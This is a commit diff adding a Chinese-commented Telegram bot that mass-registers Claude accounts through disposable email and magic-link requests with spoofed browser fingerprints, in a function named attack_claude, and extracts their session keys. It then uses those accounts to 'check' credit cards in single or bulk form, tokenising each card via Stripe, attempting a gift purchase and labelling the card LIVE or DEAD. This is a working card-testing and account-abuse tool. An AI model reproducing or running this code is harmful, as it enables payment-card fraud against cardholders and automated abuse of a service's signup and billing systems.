Compare commits
1 Commits
main
...
Feature-Fr
| Author | SHA1 | Date | |
|---|---|---|---|
| ad7b6196dc |
2
.gitignore
vendored
2
.gitignore
vendored
@@ -11,3 +11,5 @@ wheels/
|
||||
|
||||
accounts.txt
|
||||
cards.txt
|
||||
config.toml
|
||||
.claude/settings.local.json
|
||||
|
||||
658
bot.py
Normal file
658
bot.py
Normal file
@@ -0,0 +1,658 @@
|
||||
"""
|
||||
autoClaude Telegram Bot
|
||||
基于 python-telegram-bot v21+ 的异步 Bot,封装 Claude 注册和 CC 检查流程。
|
||||
启动方式: uv run python bot.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
import time
|
||||
import threading
|
||||
from functools import wraps
|
||||
|
||||
from telegram import Update, BotCommand
|
||||
from telegram.ext import (
|
||||
Application,
|
||||
CommandHandler,
|
||||
MessageHandler,
|
||||
ContextTypes,
|
||||
filters,
|
||||
)
|
||||
|
||||
from config import (
|
||||
TG_BOT_TOKEN,
|
||||
TG_ALLOWED_USERS,
|
||||
MAIL_SYSTEMS,
|
||||
)
|
||||
from mail_service import MailPool, extract_magic_link
|
||||
from stripe_token import StripeTokenizer
|
||||
from gift_checker import GiftChecker
|
||||
from claude_auth import attack_claude, finalize_login
|
||||
|
||||
# --- 日志配置 ---
|
||||
logging.basicConfig(
|
||||
format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
|
||||
level=logging.INFO,
|
||||
)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# --- 全局状态 ---
|
||||
_task_lock = threading.Lock()
|
||||
_task_running = False
|
||||
_task_name = ""
|
||||
|
||||
|
||||
# ============================================================
|
||||
# 工具函数
|
||||
# ============================================================
|
||||
|
||||
def restricted(func):
|
||||
"""权限控制装饰器:仅允许 TG_ALLOWED_USERS 中的用户使用"""
|
||||
@wraps(func)
|
||||
async def wrapper(update: Update, context: ContextTypes.DEFAULT_TYPE, *args, **kwargs):
|
||||
user_id = update.effective_user.id
|
||||
if TG_ALLOWED_USERS and user_id not in TG_ALLOWED_USERS:
|
||||
await update.message.reply_text("⛔ 你没有权限使用此 Bot。")
|
||||
return
|
||||
return await func(update, context, *args, **kwargs)
|
||||
return wrapper
|
||||
|
||||
|
||||
def _set_task(name: str) -> bool:
|
||||
"""尝试设置任务锁,返回是否成功"""
|
||||
global _task_running, _task_name
|
||||
with _task_lock:
|
||||
if _task_running:
|
||||
return False
|
||||
_task_running = True
|
||||
_task_name = name
|
||||
return True
|
||||
|
||||
|
||||
def _clear_task():
|
||||
"""释放任务锁"""
|
||||
global _task_running, _task_name
|
||||
with _task_lock:
|
||||
_task_running = False
|
||||
_task_name = ""
|
||||
|
||||
|
||||
async def _edit_or_send(msg, text: str):
|
||||
"""安全地编辑消息,如果失败则发送新消息"""
|
||||
try:
|
||||
await msg.edit_text(text, parse_mode="HTML")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
# ============================================================
|
||||
# 命令处理
|
||||
# ============================================================
|
||||
|
||||
@restricted
|
||||
async def cmd_start(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/start — 欢迎信息"""
|
||||
welcome = (
|
||||
"🤖 <b>autoClaude Bot</b>\n\n"
|
||||
"可用命令:\n"
|
||||
" /register [N] — 注册 Claude 账号(默认 1 个)\n"
|
||||
" /check <卡号|月|年|CVC> — 单张 CC 检查\n"
|
||||
" 📎 发送 .txt 文件 — 批量 CC 检查\n"
|
||||
" /accounts — 查看已注册账号\n"
|
||||
" /status — 当前任务状态\n"
|
||||
" /help — 帮助\n\n"
|
||||
f"👤 你的用户 ID: <code>{update.effective_user.id}</code>"
|
||||
)
|
||||
await update.message.reply_text(welcome, parse_mode="HTML")
|
||||
|
||||
|
||||
@restricted
|
||||
async def cmd_help(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/help — 命令列表"""
|
||||
text = (
|
||||
"📖 <b>命令说明</b>\n\n"
|
||||
"<b>/register [N]</b>\n"
|
||||
" 注册 N 个 Claude 账号(默认 1)。\n"
|
||||
" 流程:创建邮箱 → 发送 Magic Link → 等待邮件 → 交换 SessionKey\n"
|
||||
" 注册结果自动保存到 accounts.txt\n\n"
|
||||
"<b>/check <CARD|MM|YY|CVC></b>\n"
|
||||
" 单张信用卡检查。\n\n"
|
||||
"<b>📎 发送 .txt 文件</b>\n"
|
||||
" 批量 CC 检查,文件每行一张卡:\n"
|
||||
" <code>卡号|月|年|CVC</code>\n\n"
|
||||
"<b>/accounts</b>\n"
|
||||
" 列出 accounts.txt 中保存的所有账号。\n\n"
|
||||
"<b>/status</b>\n"
|
||||
" 查看当前是否有后台任务在运行。\n"
|
||||
)
|
||||
await update.message.reply_text(text, parse_mode="HTML")
|
||||
|
||||
|
||||
@restricted
|
||||
async def cmd_status(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/status — 查看任务状态"""
|
||||
with _task_lock:
|
||||
if _task_running:
|
||||
await update.message.reply_text(
|
||||
f"⏳ 当前任务:<b>{_task_name}</b>",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
else:
|
||||
await update.message.reply_text("✅ 当前无运行中的任务。")
|
||||
|
||||
|
||||
@restricted
|
||||
async def cmd_accounts(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/accounts — 列出已注册账号"""
|
||||
try:
|
||||
with open("accounts.txt", "r") as f:
|
||||
lines = [l.strip() for l in f if l.strip()]
|
||||
except FileNotFoundError:
|
||||
await update.message.reply_text("📭 尚无已注册账号(accounts.txt 不存在)。")
|
||||
return
|
||||
|
||||
if not lines:
|
||||
await update.message.reply_text("📭 accounts.txt 为空。")
|
||||
return
|
||||
|
||||
text = f"📋 <b>已注册账号(共 {len(lines)} 个)</b>\n\n"
|
||||
for i, line in enumerate(lines, 1):
|
||||
parts = line.split("|")
|
||||
email = parts[0] if len(parts) > 0 else "?"
|
||||
sk = parts[1][:12] + "..." if len(parts) > 1 and len(parts[1]) > 12 else (parts[1] if len(parts) > 1 else "?")
|
||||
text += f"{i}. <code>{email}</code>\n SK: <code>{sk}</code>\n"
|
||||
|
||||
# Telegram 消息限制 4096 字符
|
||||
if len(text) > 4000:
|
||||
text = text[:4000] + "\n...(已截断)"
|
||||
|
||||
await update.message.reply_text(text, parse_mode="HTML")
|
||||
|
||||
|
||||
# ============================================================
|
||||
# /register — 注册 Claude 账号
|
||||
# ============================================================
|
||||
|
||||
@restricted
|
||||
async def cmd_register(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/register [N] — 注册 Claude 账号"""
|
||||
# 解析数量
|
||||
count = 1
|
||||
if context.args:
|
||||
try:
|
||||
count = int(context.args[0])
|
||||
if count < 1 or count > 20:
|
||||
await update.message.reply_text("❌ 数量范围:1-20")
|
||||
return
|
||||
except ValueError:
|
||||
await update.message.reply_text("❌ 用法:/register [数量]")
|
||||
return
|
||||
|
||||
if not _set_task(f"注册 {count} 个账号"):
|
||||
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
|
||||
return
|
||||
|
||||
status_msg = await update.message.reply_text(
|
||||
f"🚀 开始注册 {count} 个 Claude 账号...",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
|
||||
# 在后台线程执行耗时操作
|
||||
loop = asyncio.get_event_loop()
|
||||
threading.Thread(
|
||||
target=_register_worker,
|
||||
args=(loop, status_msg, count),
|
||||
daemon=True,
|
||||
).start()
|
||||
|
||||
|
||||
def _register_worker(loop: asyncio.AbstractEventLoop, status_msg, count: int):
|
||||
"""注册工作线程"""
|
||||
results = {"success": 0, "fail": 0, "accounts": []}
|
||||
|
||||
try:
|
||||
# 初始化邮箱系统池
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, "📧 正在连接邮件系统..."),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
mail_pool = MailPool(MAIL_SYSTEMS)
|
||||
if mail_pool.count == 0:
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, "❌ 没有可用的邮箱系统!"),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
return
|
||||
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"📧 邮箱系统就绪({mail_pool.count} 个)\n🚀 开始注册..."),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
for i in range(count):
|
||||
progress = f"[{i + 1}/{count}]"
|
||||
|
||||
# Step 1: 创建邮箱(轮询选系统)
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"⏳ {progress} 创建临时邮箱...\n\n"
|
||||
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
|
||||
target_email, mail_sys = mail_pool.create_user(random_prefix)
|
||||
|
||||
if not target_email or not mail_sys:
|
||||
results["fail"] += 1
|
||||
continue
|
||||
|
||||
# Step 2: 发送 Magic Link
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"⏳ {progress} 发送 Magic Link...\n"
|
||||
f"📧 {target_email}\n\n"
|
||||
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
if not attack_claude(target_email):
|
||||
results["fail"] += 1
|
||||
continue
|
||||
|
||||
# Step 3: 等待邮件(使用创建时对应的系统)
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"⏳ {progress} 等待 Claude 邮件...\n"
|
||||
f"📧 {target_email}\n\n"
|
||||
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
email_content = mail_sys.wait_for_email(target_email)
|
||||
if not email_content:
|
||||
results["fail"] += 1
|
||||
continue
|
||||
|
||||
magic_link = extract_magic_link(email_content)
|
||||
if not magic_link:
|
||||
results["fail"] += 1
|
||||
continue
|
||||
|
||||
# Step 4: 交换 SessionKey
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"⏳ {progress} 交换 SessionKey...\n"
|
||||
f"📧 {target_email}\n\n"
|
||||
f"✅ 成功: {results['success']} ❌ 失败: {results['fail']}",
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
account = finalize_login(magic_link)
|
||||
if account:
|
||||
results["success"] += 1
|
||||
results["accounts"].append(account)
|
||||
# 保存到文件
|
||||
with open("accounts.txt", "a") as f:
|
||||
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
|
||||
else:
|
||||
results["fail"] += 1
|
||||
|
||||
# 间隔防止限流
|
||||
if i < count - 1:
|
||||
time.sleep(2)
|
||||
|
||||
# 最终汇报
|
||||
report = (
|
||||
f"🏁 <b>注册完成</b>\n\n"
|
||||
f"✅ 成功: {results['success']}\n"
|
||||
f"❌ 失败: {results['fail']}\n"
|
||||
)
|
||||
if results["accounts"]:
|
||||
report += "\n<b>新注册账号:</b>\n"
|
||||
for acc in results["accounts"]:
|
||||
report += f"• <code>{acc.email}</code>\n"
|
||||
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, report),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception("注册任务异常")
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"💥 注册任务异常:{e}"),
|
||||
loop,
|
||||
)
|
||||
finally:
|
||||
_clear_task()
|
||||
|
||||
|
||||
# ============================================================
|
||||
# /check — CC 检查
|
||||
# ============================================================
|
||||
|
||||
@restricted
|
||||
async def cmd_check(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""/check <CARD|MM|YY|CVC> — CC 检查"""
|
||||
if not context.args:
|
||||
await update.message.reply_text(
|
||||
"❌ 用法:/check <code>卡号|月|年|CVC</code>\n"
|
||||
"示例:/check 4111111111111111|12|2025|123",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
return
|
||||
|
||||
card_line = context.args[0]
|
||||
parts = card_line.split("|")
|
||||
if len(parts) != 4:
|
||||
await update.message.reply_text("❌ 格式错误,需要:<code>卡号|月|年|CVC</code>", parse_mode="HTML")
|
||||
return
|
||||
|
||||
# 读取可用账号
|
||||
try:
|
||||
with open("accounts.txt", "r") as f:
|
||||
lines = [l.strip() for l in f if l.strip()]
|
||||
except FileNotFoundError:
|
||||
lines = []
|
||||
|
||||
if not lines:
|
||||
await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
|
||||
return
|
||||
|
||||
if not _set_task("CC 检查"):
|
||||
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
|
||||
return
|
||||
|
||||
status_msg = await update.message.reply_text(
|
||||
f"🔍 正在检查卡片:<code>{parts[0][:4]}****{parts[0][-4:]}</code>",
|
||||
parse_mode="HTML",
|
||||
)
|
||||
|
||||
loop = asyncio.get_event_loop()
|
||||
threading.Thread(
|
||||
target=_check_worker,
|
||||
args=(loop, status_msg, card_line, lines[-1]),
|
||||
daemon=True,
|
||||
).start()
|
||||
|
||||
|
||||
def _check_worker(loop: asyncio.AbstractEventLoop, status_msg, card_line: str, account_line: str):
|
||||
"""CC 检查工作线程"""
|
||||
try:
|
||||
cc, mm, yy, cvc = card_line.split("|")
|
||||
acc_parts = account_line.split("|")
|
||||
email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
|
||||
|
||||
from models import ClaudeAccount
|
||||
from identity import random_ua
|
||||
|
||||
account = ClaudeAccount(email, session_key, org_uuid, random_ua())
|
||||
masked = f"{cc[:4]}****{cc[-4:]}"
|
||||
|
||||
# Step 1: Stripe Token
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n⏳ 获取 Stripe Token..."),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
tokenizer = StripeTokenizer(account.user_agent)
|
||||
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
|
||||
|
||||
if not pm_id:
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n❌ Stripe 拒绝,无法获取 Token"),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
return
|
||||
|
||||
# Step 2: Gift Purchase
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"🔍 <code>{masked}</code>\n⏳ 尝试扣款验证..."),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
checker = GiftChecker(account)
|
||||
result = checker.purchase(pm_id)
|
||||
|
||||
# 结果映射
|
||||
result_map = {
|
||||
"LIVE": "💰 LIVE — 扣款成功!卡有效",
|
||||
"DECLINED": "🚫 DECLINED — 被拒绝",
|
||||
"INSUFFICIENT_FUNDS": "💸 INSUFFICIENT — 余额不足(卡有效)",
|
||||
"CCN_LIVE": "🔶 CCN LIVE — 卡号有效但 CVC 错误",
|
||||
"DEAD": "💀 DEAD — 无效卡",
|
||||
"ERROR": "⚠️ ERROR — 检查出错",
|
||||
}
|
||||
result_text = result_map.get(result, f"❓ 未知结果:{result}")
|
||||
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"🔍 <b>CC 检查结果</b>\n\n"
|
||||
f"卡片:<code>{masked}</code>\n"
|
||||
f"结果:{result_text}",
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception("CC 检查异常")
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"💥 CC 检查异常:{e}"),
|
||||
loop,
|
||||
)
|
||||
finally:
|
||||
_clear_task()
|
||||
|
||||
|
||||
# ============================================================
|
||||
# 文件上传 — 批量 CC 检查
|
||||
# ============================================================
|
||||
|
||||
@restricted
|
||||
async def handle_document(update: Update, context: ContextTypes.DEFAULT_TYPE):
|
||||
"""接收 .txt 文件进行批量 CC 检查"""
|
||||
doc = update.message.document
|
||||
|
||||
# 检查文件类型
|
||||
if not doc.file_name.endswith(".txt"):
|
||||
await update.message.reply_text("❌ 仅支持 .txt 文件")
|
||||
return
|
||||
|
||||
# 检查文件大小(限制 1MB)
|
||||
if doc.file_size > 1024 * 1024:
|
||||
await update.message.reply_text("❌ 文件太大(最大 1MB)")
|
||||
return
|
||||
|
||||
# 读取可用账号
|
||||
try:
|
||||
with open("accounts.txt", "r") as f:
|
||||
acc_lines = [l.strip() for l in f if l.strip()]
|
||||
except FileNotFoundError:
|
||||
acc_lines = []
|
||||
|
||||
if not acc_lines:
|
||||
await update.message.reply_text("❌ 没有可用账号,请先 /register 注册一个。")
|
||||
return
|
||||
|
||||
if not _set_task("批量 CC 检查"):
|
||||
await update.message.reply_text(f"⚠️ 已有任务在运行:{_task_name}")
|
||||
return
|
||||
|
||||
# 下载文件
|
||||
status_msg = await update.message.reply_text("📥 正在下载文件...")
|
||||
|
||||
try:
|
||||
file = await doc.get_file()
|
||||
file_bytes = await file.download_as_bytearray()
|
||||
content = file_bytes.decode("utf-8", errors="ignore")
|
||||
except Exception as e:
|
||||
await _edit_or_send(status_msg, f"💥 下载文件失败:{e}")
|
||||
_clear_task()
|
||||
return
|
||||
|
||||
# 解析卡片
|
||||
cards = []
|
||||
for line in content.splitlines():
|
||||
line = line.strip()
|
||||
if line and not line.startswith("#"):
|
||||
parts = line.split("|")
|
||||
if len(parts) == 4:
|
||||
cards.append(line)
|
||||
|
||||
if not cards:
|
||||
await _edit_or_send(status_msg, "❌ 文件中没有找到有效卡片。\n格式:<code>卡号|月|年|CVC</code>")
|
||||
_clear_task()
|
||||
return
|
||||
|
||||
await _edit_or_send(
|
||||
status_msg,
|
||||
f"📋 读取到 <b>{len(cards)}</b> 张卡片,开始批量检查...",
|
||||
)
|
||||
|
||||
# 后台线程执行
|
||||
loop = asyncio.get_event_loop()
|
||||
threading.Thread(
|
||||
target=_batch_check_worker,
|
||||
args=(loop, status_msg, cards, acc_lines[-1]),
|
||||
daemon=True,
|
||||
).start()
|
||||
|
||||
|
||||
def _batch_check_worker(loop: asyncio.AbstractEventLoop, status_msg, cards: list, account_line: str):
|
||||
"""批量 CC 检查工作线程"""
|
||||
from models import ClaudeAccount
|
||||
from identity import random_ua
|
||||
|
||||
results = []
|
||||
total = len(cards)
|
||||
|
||||
try:
|
||||
acc_parts = account_line.split("|")
|
||||
email, session_key, org_uuid = acc_parts[0], acc_parts[1], acc_parts[2]
|
||||
account = ClaudeAccount(email, session_key, org_uuid, random_ua())
|
||||
|
||||
tokenizer = StripeTokenizer(account.user_agent)
|
||||
checker = GiftChecker(account)
|
||||
|
||||
for i, card_line in enumerate(cards):
|
||||
cc, mm, yy, cvc = card_line.split("|")
|
||||
masked = f"{cc[:4]}****{cc[-4:]}"
|
||||
|
||||
# 更新进度
|
||||
recent = "\n".join(results[-5:]) # 显示最近 5 条结果
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(
|
||||
status_msg,
|
||||
f"🔍 [{i + 1}/{total}] 检查中:<code>{masked}</code>\n\n"
|
||||
+ recent,
|
||||
),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
# Stripe Token
|
||||
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
|
||||
|
||||
if not pm_id:
|
||||
results.append(f"❌ <code>{masked}</code> → Stripe 拒绝")
|
||||
time.sleep(1)
|
||||
continue
|
||||
|
||||
# Gift Purchase
|
||||
result = checker.purchase(pm_id)
|
||||
|
||||
result_icons = {
|
||||
"LIVE": "💰", "DECLINED": "🚫",
|
||||
"INSUFFICIENT_FUNDS": "💸", "CCN_LIVE": "🔶",
|
||||
"DEAD": "💀", "ERROR": "⚠️",
|
||||
}
|
||||
icon = result_icons.get(result, "❓")
|
||||
results.append(f"{icon} <code>{masked}</code> → {result}")
|
||||
|
||||
# 间隔防限流
|
||||
if i < total - 1:
|
||||
time.sleep(2)
|
||||
|
||||
# 最终汇报
|
||||
live = sum(1 for r in results if "LIVE" in r and "CCN" not in r)
|
||||
dead = sum(1 for r in results if "DEAD" in r or "DECLINED" in r or "Stripe" in r)
|
||||
other = total - live - dead
|
||||
|
||||
report = (
|
||||
f"🏁 <b>批量 CC 检查完成</b>\n\n"
|
||||
f"📊 共 {total} 张 | 💰 有效 {live} | 💀 无效 {dead} | ❓ 其他 {other}\n\n"
|
||||
)
|
||||
report += "\n".join(results)
|
||||
|
||||
# Telegram 消息限制 4096
|
||||
if len(report) > 4000:
|
||||
report = report[:4000] + "\n...(已截断)"
|
||||
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, report),
|
||||
loop,
|
||||
).result(timeout=10)
|
||||
|
||||
except Exception as e:
|
||||
logger.exception("批量 CC 检查异常")
|
||||
asyncio.run_coroutine_threadsafe(
|
||||
_edit_or_send(status_msg, f"💥 批量 CC 检查异常:{e}"),
|
||||
loop,
|
||||
)
|
||||
finally:
|
||||
_clear_task()
|
||||
|
||||
|
||||
# ============================================================
|
||||
# 启动 Bot
|
||||
# ============================================================
|
||||
|
||||
async def post_init(application: Application):
|
||||
"""Bot 启动后设置命令菜单"""
|
||||
commands = [
|
||||
BotCommand("start", "欢迎信息"),
|
||||
BotCommand("register", "注册 Claude 账号 [数量]"),
|
||||
BotCommand("check", "CC 检查 <卡号|月|年|CVC>"),
|
||||
BotCommand("accounts", "查看已注册账号"),
|
||||
BotCommand("status", "当前任务状态"),
|
||||
BotCommand("help", "命令帮助"),
|
||||
]
|
||||
await application.bot.set_my_commands(commands)
|
||||
logger.info("Bot 命令菜单已设置")
|
||||
|
||||
|
||||
def main():
|
||||
"""启动 Bot"""
|
||||
if TG_BOT_TOKEN == "your_bot_token_here":
|
||||
print("❌ 请先在 config.toml 中设置 TG_BOT_TOKEN!")
|
||||
return
|
||||
|
||||
app = Application.builder().token(TG_BOT_TOKEN).post_init(post_init).build()
|
||||
|
||||
# 注册命令
|
||||
app.add_handler(CommandHandler("start", cmd_start))
|
||||
app.add_handler(CommandHandler("help", cmd_help))
|
||||
app.add_handler(CommandHandler("register", cmd_register))
|
||||
app.add_handler(CommandHandler("check", cmd_check))
|
||||
app.add_handler(CommandHandler("accounts", cmd_accounts))
|
||||
app.add_handler(CommandHandler("status", cmd_status))
|
||||
app.add_handler(MessageHandler(filters.Document.ALL, handle_document))
|
||||
|
||||
logger.info("🤖 Bot 启动中...")
|
||||
app.run_polling(allowed_updates=Update.ALL_TYPES)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
172
claude_auth.py
Normal file
172
claude_auth.py
Normal file
@@ -0,0 +1,172 @@
|
||||
import uuid
|
||||
import base64
|
||||
from curl_cffi import requests # 用于模拟指纹
|
||||
|
||||
from config import CLAUDE_URL
|
||||
from models import ClaudeAccount
|
||||
from identity import random_ua
|
||||
|
||||
|
||||
def attack_claude(target_email):
|
||||
"""伪装成浏览器发起攻击"""
|
||||
device_id = str(uuid.uuid4())
|
||||
ua = random_ua()
|
||||
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
|
||||
"Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
|
||||
"Sec-Ch-Ua-Platform": '"Linux"',
|
||||
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
|
||||
"Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
|
||||
"Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
|
||||
"Content-Type": "application/json",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": device_id,
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"User-Agent": ua,
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
payload = {
|
||||
"utc_offset": -480,
|
||||
"email_address": target_email,
|
||||
"login_intent": None,
|
||||
"locale": "en-US",
|
||||
"oauth_client_id": None,
|
||||
"source": "claude"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
|
||||
session = requests.Session()
|
||||
response = session.post(
|
||||
CLAUDE_URL,
|
||||
json=payload,
|
||||
headers=headers,
|
||||
impersonate="chrome124"
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
print("[+] 请求成功,Claude 已发信。")
|
||||
return True
|
||||
elif response.status_code == 429:
|
||||
print("[-] 被限流了 (Rate Limited)。")
|
||||
else:
|
||||
print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 发生异常: {e}")
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def finalize_login(magic_link_fragment):
|
||||
"""
|
||||
完成最后一步:无需浏览器,直接交换 sessionKey。
|
||||
magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
|
||||
返回 ClaudeAccount 对象
|
||||
"""
|
||||
|
||||
# 1. 外科手术式拆解 Hash
|
||||
if '#' in magic_link_fragment:
|
||||
fragment = magic_link_fragment.split('#')[1]
|
||||
else:
|
||||
fragment = magic_link_fragment
|
||||
|
||||
if ':' not in fragment:
|
||||
print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
|
||||
return None
|
||||
|
||||
# 分割 nonce 和 base64_email
|
||||
nonce, encoded_email = fragment.split(':', 1)
|
||||
|
||||
try:
|
||||
decoded_email = base64.b64decode(encoded_email).decode('utf-8')
|
||||
print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
|
||||
except:
|
||||
print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
|
||||
|
||||
# 2. 构造最终 payload
|
||||
verify_url = "https://claude.ai/api/auth/verify_magic_link"
|
||||
|
||||
payload = {
|
||||
"credentials": {
|
||||
"method": "nonce",
|
||||
"nonce": nonce,
|
||||
"encoded_email_address": encoded_email
|
||||
},
|
||||
"locale": "en-US",
|
||||
"oauth_client_id": None,
|
||||
"source": "claude"
|
||||
}
|
||||
|
||||
# 3. 伪造指纹头
|
||||
device_id = str(uuid.uuid4())
|
||||
ua = random_ua()
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"Content-Type": "application/json",
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/magic-link",
|
||||
"User-Agent": ua,
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": device_id,
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在交换 SessionKey...")
|
||||
session = requests.Session()
|
||||
response = session.post(
|
||||
verify_url,
|
||||
json=payload,
|
||||
headers=headers,
|
||||
impersonate="chrome124"
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
# 1. 提取 SessionKey
|
||||
session_key = response.cookies.get("sessionKey")
|
||||
|
||||
if not session_key:
|
||||
for name, value in response.cookies.items():
|
||||
if name == "sessionKey":
|
||||
session_key = value
|
||||
break
|
||||
|
||||
if not session_key:
|
||||
print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
|
||||
print(f"Response: {str(data)[:200]}...")
|
||||
return None
|
||||
|
||||
# 2. 提取 Org UUID
|
||||
try:
|
||||
org_uuid = data['account']['memberships'][0]['organization']['uuid']
|
||||
email = data['account']['email_address']
|
||||
print(f"[+] 登录成功。OrgID: {org_uuid}")
|
||||
return ClaudeAccount(email, session_key, org_uuid, ua)
|
||||
except KeyError as e:
|
||||
print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}")
|
||||
print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
|
||||
return None
|
||||
|
||||
else:
|
||||
print(f"[-] 交换失败 Code: {response.status_code}")
|
||||
print(f"Body: {response.text}")
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 发生异常: {e}")
|
||||
return None
|
||||
33
config.py
Normal file
33
config.py
Normal file
@@ -0,0 +1,33 @@
|
||||
"""
|
||||
配置加载器:从 config.toml 读取配置,对外暴露与原 config.py 相同的变量名。
|
||||
"""
|
||||
|
||||
import sys
|
||||
import tomllib
|
||||
from pathlib import Path
|
||||
|
||||
# --- 加载 TOML ---
|
||||
_config_path = Path(__file__).parent / "config.toml"
|
||||
|
||||
if not _config_path.exists():
|
||||
print("❌ 找不到 config.toml!")
|
||||
